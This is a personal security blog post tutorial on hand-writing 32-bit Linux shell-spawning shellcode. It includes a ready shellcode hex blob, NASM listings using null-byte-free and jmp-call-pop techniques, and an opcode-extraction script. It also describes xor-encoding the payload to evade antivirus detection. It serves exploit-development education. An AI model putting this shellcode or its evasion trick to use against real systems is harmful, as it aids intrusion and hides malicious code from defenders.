Skip to main content

Make writing shellcode in linux 32 bit little bit simple (ง'̀-'́)ง (day 53)



Disclaimer: This post is only for education only and not for causing destruction to a lived system. Be smart!

In every exploit development process, the shellcode is one of the vital components to making your exploit reliable. Shellcode itself is just basically an assembly instruction that converted into opcodes (the hexadecimal thingy)

"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56"
"\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd"
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\xeb\xca";

that will instruct the program what to do next after the exploitation process is done

But when it comes to creating it not many people willing to devote their time to learn it, they rather to just used a precompiled shellcode for example that come from http://shell-storm.org/ 

because they think that is some kinda dark art that is too complicated to understand

I'm not saying that using a precompiled shellcode is bad you can use as freely as possible either for pentesting purposes or making some adjustment in your exploit.


But where is your hacking spirit? when you used something it is better to know how to build it and in the end, you can build your own shellcode without having to rely on the already available shellcode (which make you like a real hacker)

Well then if you just changed your mind to start writing shellcode after reading this post, then this post will help you to get started

we are going to take a look at how to make a simple, clean and fast shellcode in Linux 32 bit although there are many OS out there still the basic is just the same



I am warning you again this post is only for education only and not to harm any live system that is not your own okay ?! grow up !

To follow this tutorial you need two things: nasm and ld utility both of these tools used to compile the assembly code and linked it into a ELF

for a starter, I'm going just going to show you a simple shellcode that will spawn a shell in Linux

section .data
        shell db "/bin/sh" //declare a string variable

section .text
        global _start //declaring a main function like in c main()

_start: //this where our main code will be run
        mov eax,0xb // fill eax register with 11 to fit our first param, 0xb/11 in linux means to execute execve()
        mov ebx,shell // fill ebx register with /bin/sh string to fit our second param
        mov ecx,0 // fill ecx register zero to fit the third param

        int 0x80 // call syscall to execute execve with '/bin/sh' as its param

        mov eax,1
        mov ebx,0
        int 0x80 //last three asm is just to make a clean exit


First, let's talk about the section part. There are 5 common segments or section in executable and each of this section have it's own task:
  • Stack, to store value at runtime 
  • Heap, which is a dynamically allocated memory
  • data, used to stored initialized variables
  • bss, used to store uninitialized variable
  • text, the actual code
in the example asm code, we can see that there are two sections which are the data section to store our variable shell path "/bin/sh" and text section that hold our code in assembly code.

the global _start part basically just tell the program to execute _start first like the main function

and inside _start it lies the code that will execute a shell for us. But how does the program know to execute a shell function?

we can use a syscall which is represented in assembly as int 0x80. Syscall simply just an interface between kernel to the user mode so every time we want to execute a function we need to call syscall

to execute a shell we need to pass the "execve()" function denotes as 11 => 0xb into the syscall, follow with the /bin/bash string. To pass the required parameters we need to insert it into register eax (for 1st param), ebx (for 2nd param) and ecx (for 3rd param)

like this:

mov eax,0xb // fill eax register with 11 to fit our first param, 0xb/11 in linux means to execute execve()
mov ebx,shell // fill ebx register with /bin/sh string to fit our second param
mov ecx,0 // fill ecx register zero to fit the third param
 

int 0x80 // call syscall to execute execve with '/bin/sh' as its param

what we doing here is we set the syscall to be like the following manner:

syscall(execve(), "/bin/bash",0)

with that arrangement, the program will execute the execve("/bin/bash") to spawn a shellcode and the last section is merely just make a clean exit.





you can see the opcode using objdump utility:



but if you try to use this opcode in your exploit it will 100% not work


why? we got a shell tho when we run it right?

yes but the opcodes consist with null bytes "\x00" that will terminate our shellcode right away and the string location of "/bin/sh" is hardcoded which will make it not reliable

so how can we address this problem? to deal with the null bytes you can use XOR operation and for the hardcoded location of the string you can either use relative addressing or using a stack. We will address this both approach in this post first let's start with the easiest one using a stack

Using a stack:

stack is just a section where you put temporary value when running your code, in order to interact with stack you need to use either pop or push instruction.

here's how to incorporate stack and xor to get the optimal shellcode

 

1. xor eax,eax is to zeroed out the register eax
2. there are three push operation in this code, this is used to put the "/bin/bash" string in the stack and of course, we need to convert into hex value and turn it into the little-endian format and also don't forget this is a 32 bit so every register is worth 8 bytes

    push eax
    push 0x68732f2f
    push 0x6e69622f



the following assembly code used string of "/bin//sh" as the parameter to spawn a shell and don't worry with the extra "/" this is just for alignment of the register so we have an even length of the variable so we can divide it to two registers and also don't forget we need to put a zero byte at the end of the string using the zeroed out EAX register

this code will set the stack in the following manner

-----------------------------------------
| 6e69622f | 68732f2f | 00 |
-----------------------------------------
        1               2            3


then we mode the prepared stack to ebx using esp (esp is used to pointing to the top of the stack which is where our string reside)

next, we put a zero value to ecx register and lastly we put 0xb to the eax to tell the syscall we are using execve().

compile it and we are able to spawn a shell:


cool we got a shell to get the opcode so we can use it in an exploit I use this script to automatically convert the objdump result into opcode

#!/bin/bash

objdump -d $1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

put it into a file with .sh extension and make it executable


to test the opcode you can use the following c program:

Don't forget to turn off the NX function using -z execstack or you will get segmentation fault



we did it! we make it so the program can spawn a shell. For testing try to put it in the virus total platform just to see if they were able to detect the shellcode or not.


ok good enough at least one of them said that this is malicious file many antivirus not consider this as malicious act since it only spawns a shell

Using a jump:

using a "jump" is similar to the previous technique so when the program is start it automatically jump to the "/bin//sh" string and spawn a shell

using this technique you don't have to convert the string to hex and little-endian format


notice from the example code we immediately jump to the gotocall function where our "/bin//sh" reside and then after the string is loaded to the stack we will pop the stack and put it into esp register

and the rest of the code will be the same as the previous section


compile it and we got a shell, to test it we need to dump the opcode again and put into the test_shell program again



as you can see although the program is getting a little bit bigger it still able to do the job.

Finally, if you try to put it into the virus total platform again you will get the same result lol


Can we bypass the detection so the shellcode is not marked as malicious code?


combining with everything we got, we can actually just mask the "/bin//sh" string using xor instruction and then when it executed in runtime it will automatically decode itself.

so first we need to the xored string of "/bin//sh"

I create this following python code to produce the string


using the script it will generate the xored value of the string and then we have to convert it into a little-endian format.

using the "shell1" assembly source code we can upgrade the program to be like this



as you can see in this code I just xored back again to its original value and put it back again onto the stack and at the end, I just need to call the syscall again

extract the shellcode again


update it again into the test_shell.c file and compile it again and finally we got a shell again


suprise suprise when we upload it to the virus total it says the program is clean


ok cool! that's all I can shared with you in this post. I suggest if you want to know more about how the shellcode work in a deeper sense you can load the shellcode into gdb and step through each of the code execution.

Thank you :)

references:

Shellcoder handbook 2nd edition
http://www.vividmachines.com/shellcode/shellcode.html

Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th...

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct...

Why you should always cautious on your VPN: Study Case on Broken Cryptography of Android VPN (day 91) ಠ_ಠ

source: https://me.me/i/when-you-make-a-meme-in-europe-but-you-use-22778509 Disclaimer: This blog post is heavily based on https://www.youtube.com/watch?v=ofTts7jlC2Y&t=177s created by Lukas Stefanko. I strongly suggest you guys check his youtube videos it contain many great android security study cases that you can learn free Background: Who doesn't know VPN, right?! It is a wonderful program that lets us maintain the confidentiality of our identity and information while surfing the internet. It is fast and more importantly is "FREE!" there are tons of free VPN applications that you can download in play store and use it in a click of a button. The workflow is also not really that difficult to understand: Source: https://blog.sucuri.net/2020/03/vpn-secure-online-work-environment.html Pay attention to the above figure, this diagram explains the difference in our connection when using a VPN and not using VPN. When using a VPN before we connect to ...